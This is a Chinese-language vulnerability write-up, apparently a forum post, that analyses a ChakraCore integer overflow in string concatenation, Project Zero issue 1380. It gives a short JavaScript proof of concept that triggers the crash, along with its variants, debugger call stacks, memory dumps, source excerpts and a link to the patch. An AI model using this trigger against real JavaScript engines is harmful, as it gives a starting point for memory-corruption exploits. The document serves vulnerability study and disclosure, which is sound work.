source:https://bugs.chromium.org/p/project-zero/issues/detail?id=1380
漏洞觸發
let a='';
let b='A'.repeat(0x10000);
for(let i=0; i <0x10000; i++) {
a='BBBBBBBBB'+a+b;
}
print(a.length);
print(b.length);
print(a[0]);
poc第9行print(a[0]);觸發crash,原因是引用了a字串的元素,引用操作會呼叫JavascriptString::GetItem獲取元素,這個函式內部呼叫字串的拷貝函式JavascriptString::Copy,在這個函式中觸發了漏洞,呼叫堆疊如下
ChakraCore.dll!Js::ConcatStringBase::CopyImpl
ChakraCore.dll!Js::ConcatStringMulti::CopyVirtual
ChakraCore.dll!Js::JavascriptString::Copy
ChakraCore.dll!Js::JavascriptString::FinishCopy
ChakraCore.dll!Js::JavascriptString::Copy<Js::ConcatStringMulti>
ChakraCore.dll!Js::ConcatStringBase::GetSzImpl<Js::ConcatStringMulti>
ChakraCore.dll!Js::ConcatStringMulti::GetSz
ChakraCore.dll!Js::JavascriptString::GetString
ChakraCore.dll!Js::JavascriptString::GetItem
ChakraCore.dll!Js::JavascriptString::GetItemAt
ChakraCore.dll!Js::JavascriptString::GetItem
漏洞觸發了Js::ConcatStringBase::CopyImpl函式中的斷言,因為copyCharLength+copiedCharLength < buff_size
AnalysisAssert(copyCharLength <=GetLength()-copiedCharLength);
程式碼位於ConcatStringBase::CopyImpl函式,函式作用是拼接字串,正常操作是先拷貝第一部分然後計入copiedCharLength,之後依次拷貝接下來的部分
const CharCount copyCharLength=s->GetLength();
AnalysisAssert(copiedCharLength+copyCharLength <=this->GetLength());
CopyHelper(&buffer[copiedCharLength], s->GetString(), copyCharLength);
copiedCharLength+=copyCharLength;
continue;
這個函式是通過一個迴圈進行處理的,結合poc第4行中的a = 'BBBBBBBBB' + b + a;猜測ConcatStringBase::CopyImpl用於實現這個拼接過程。
在ConcatStringBase::CopyImpl函式中,引數int itemCount表示拼接字串個數,引數JavascriptString * const * items表示傳入的各字串指標的陣列。
在函式處理中會首先會依次取出items陣列中儲存的各個字串,字串型別是JavascriptString物件
for(inti=0; i < itemCount;++i)
{
JavascriptString*const s=items[i];
...
依次看items陣列中的字串內容
items
0x000001E0C762F9A8 000001e0c7078e60000001e0c7079400 `?.??....?.??...
0x000001E0C762F9B8 000001e0c762f94000007ff89cacc908 @?b??....????...
items[0]
0x000001E0C7078E60 00007ff89cacc258000001e0c70443c0 X????...?C.??...
0x000001E0C7078E70 000001e0c71481000000000000000009 .?.??...........
0x000001E0C7148100 00420042004200420042004200420042 B.B.B.B.B.B.B.B.
0x000001E0C7148110 00000000000000420000000000000000 B...............
items[1]
0x000001E0C7079400 00007ff89cacc258000001e0c70443c0 X????...?C.??...
0x000001E0C7079410 000001e0c71e00200000000000010000 ..??...........
0x000001E0C71E0020 00410041004100410041004100410041 A.A.A.A.A.A.A.A.
0x000001E0C71E0030 00410041004100410041004100410041 A.A.A.A.A.A.A.A.
0x000001E0C71E0040 00410041004100410041004100410041 A.A.A.A.A.A.A.A.
0x000001E0C71E0050 00410041004100410041004100410041 A.A.A.A.A.A.A.A.
0x000001E0C71E0060 00410041004100410041004100410041 A.A.A.A.A.A.A.A.
0x000001E0C71E0070 00410041004100410041004100410041 A.A.A.A.A.A.A.A.
0x000001E0C71E0080 00410041004100410041004100410041 A.A.A.A.A.A.A.A.
0x000001E0C71E0090 00410041004100410041004100410041 A.A.A.A.A.A.A.A.
0x000001E0C71E00A0 00410041004100410041004100410041 A.A.A.A.A.A.A.A.
...
items[2]
0x000001E0C762F940 00007ff89cacc908000001e0c70443c0 .????...?C.??...
0x000001E0C762F950 000000000000000000000000ffffffaf ........?.......
0x000001E0C762F960 0000000000000003000001e0c7078e60 ........`?.??...
0x000001E0C762F970 000001e0c7079400000001e0c762f900 .?.??....?b??...
0x0007ff89cacc908ConcatStringBase::vtable
之後依次對各字串進行拷貝操作,使各字串首尾相接
if(s->IsFinalized())//檢測是否存在m_pszValue
{
//If we have thebufferalready, just copy it
const CharCount copyCharLength=s->GetLength();
AnalysisAssert(copiedCharLength+copyCharLength <=this->GetLength());
CopyHelper(&buffer[copiedCharLength], s->GetString(), copyCharLength);
copiedCharLength+=copyCharLength;
continue;
}
漏洞原理
除錯發現程式會呼叫ConcatStringBase::CopyImpl9次,並不是poc中的迴圈次數0x10000次。修改迴圈次數為0x20,發現會呼叫32次ConcatStringBase::CopyImpl函式並且不會發生crash
說明每次呼叫函式ConcatStringBase::CopyImpl都對應著poc中for迴圈的一次字串連結操作,在除錯過程中發現進行拷貝時拷貝的尺寸的大小是預先設定的,修改poc如下
let a='';
let b='A'.repeat(0x10000);
for(let i=0; i <0x1; i++) {
a='BBBBBBBBB'+b+a;
}
print(a[0]);
可以看到當設定迴圈次數為1時,代表目標緩衝區的m_charLength大小為65545
let a='';
let b='A'.repeat(0x10000);
for(let i=0; i <0x2; i++) {
a='BBBBBBBBB'+b+a;
}
print(a[0]);
當設定次數為2時,目標m_charLength為131090,說明每次的大小為65545位元組,因為m_charLength的型別unsigned int,所以當for迴圈設定為0x10000時會發生整數溢位成為一個較小的正數。
其他
這個漏洞進一步的溢位發生地點與Lowerer::LowerSetConcatStrMultiItem函式有關,在原連結中 lokihardt已做出分析,感興趣的同學可以看一下漏洞的修補https://github.com/Microsoft/ChakraCore/pull/4503/commits/4db0bd20ac5f5a4e260653a10269fef9ef51f91f
本文由看雪論壇 Ox9A82 原創,轉載請註明來自看雪社群